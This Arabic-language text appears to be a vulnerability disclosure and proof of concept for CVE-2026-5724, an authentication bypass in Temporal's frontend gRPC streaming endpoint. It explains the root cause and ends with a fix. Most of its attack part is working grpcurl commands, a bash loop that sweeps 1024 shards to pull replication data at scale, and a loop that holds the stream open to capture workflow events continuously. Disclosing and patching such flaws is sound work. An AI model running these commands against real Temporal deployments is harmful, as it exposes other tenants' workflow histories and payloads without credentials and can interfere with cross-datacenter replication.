
إثبات مفهوم لاستغلال CVE-2026-5724، وهو تجاوز للمصادقة في خدمة gRPC الواجهة الأمامية لـ Temporal مما يسمح بالوصول غير المصادق عليه إلى بيانات تكرار سير العمل.
لا تفرض خدمة Temporal frontend المصادقة على استدعاءات gRPC المتدفقة (streaming gRPC RPCs). سلسلة الاعتراضات المتدفقة (streaming interceptor chain) تحذف اعتراض التفويض (authorization interceptor)، مما يسمح للمتصلين غير المصادق عليهم بالوصول إلى AdminService/StreamWorkflowReplicationMessages، وهي نقطة نهاية مخصصة للمسؤولين فقط تقوم ببث بيانات تكرار سير العمل عبر جميع النطاقات (namespaces).
يقوم خادم gRPC الخاص بالواجهة الأمامية في service/frontend/fx.go بتكوين سلسلتي اعتراضات. السلسلة المتدفقة تتضمن فقط telemetryInterceptor.StreamIntercept للمقاييس وبدون أي مصادقة:
نوع authorization.Interceptor ينفذ فقط طريقة اعتراض أحادية (unary interceptor method) (Intercept). لا يوجد ما يعادله للتدفق (streaming). الاستدعاء المتدفق الوحيد للواجهة الأمامية هو AdminService/StreamWorkflowReplicationMessages، والذي وفقًا لـ https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 يجب أن يتطلب {Scope: ScopeCluster, Access: AccessAdmin}. يصل الاستدعاء المتدفق إلى المعالج في admin_handler.go:1904 بدون أي تفويض، حيث يقوم بالتمرير المباشر إلى نقطة نهاية التكرار الخاصة بخدمة السجل الداخلي (internal history service).
خذ نشرًا لـ Temporal يعرض واجهة برمجة تطبيقات gRPC الخاصة بالواجهة الأمامية.
استدعِ استدعاء AdminService المتدفق بدون أي بيانات اعتماد:
grpcurl -max-time 15 \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
# يتصل التدفق. يستجيب الخادم بحالة التكرار بما في ذلك
# exclusiveHighWatermark لكل شارد (shard). أثناء التكرار النشط،
# يحتوي الاستجابة على أحداث تاريخ سير العمل المسلسلة:
# {
# "messages": {
# "replicationTasks": [{
# "namespaceId": "...",
# "workflowId": "...",
# "runId": "...",
# "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
# ...
# }],
# "exclusiveHighWatermark": "148293"
# }
# }
للتكرار عبر جميع الشاردات واستخراج البيانات على نطاق واسع:
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"
CLUSTER_ID="${3:-1}" # initialFailoverVersion: 1=نشط، 2=تجاوز الفشل
ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"
for SHARD in $(seq 1 "${NUM_SHARDS}"); do
grpcurl -max-time 10 \
-H "temporal-client-cluster-id: ${CLUSTER_ID}" \
-H "temporal-client-shard-id: ${SHARD}" \
-H "temporal-server-cluster-id: ${CLUSTER_ID}" \
-H "temporal-server-shard-id: ${SHARD}" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
"${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done
لإبقاء التدفق مفتوحًا بشكل مستمر والتقاط أحداث التكرار في الوقت الفعلي:
(
while true; do
echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
sleep 5
done
) | grpcurl -d @ \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
يمكن للمهاجم الذي لديه وصول إلى الواجهة الأمامية قراءة بيانات تكرار سير العمل عبر جميع النطاقات والمستأجرين (tenants) — معرفات سير العمل، معرفات التشغيل، أحداث التاريخ، حمولات الأنشطة بدون أي بيانات اعتماد. يمكن للمهاجم أيضًا التدخل في التكرار عبر مراكز البيانات عن طريق إرسال رسائل SyncReplicationState، ويحصل على جسر إلى خدمة السجل الداخلي التي لا يتم كشفها خارجيًا عادةً.
قم بتنفيذ StreamServerInterceptor على authorization.Interceptor وأضفه إلى السلسلة المتدفقة في service/frontend/fx.go:292-296:
streamInterceptor := []grpc.StreamServerInterceptor{
telemetryInterceptor.StreamIntercept,
authInterceptor.StreamIntercept, // فرض المصادقة على استدعاءات RPC المتدفقة
}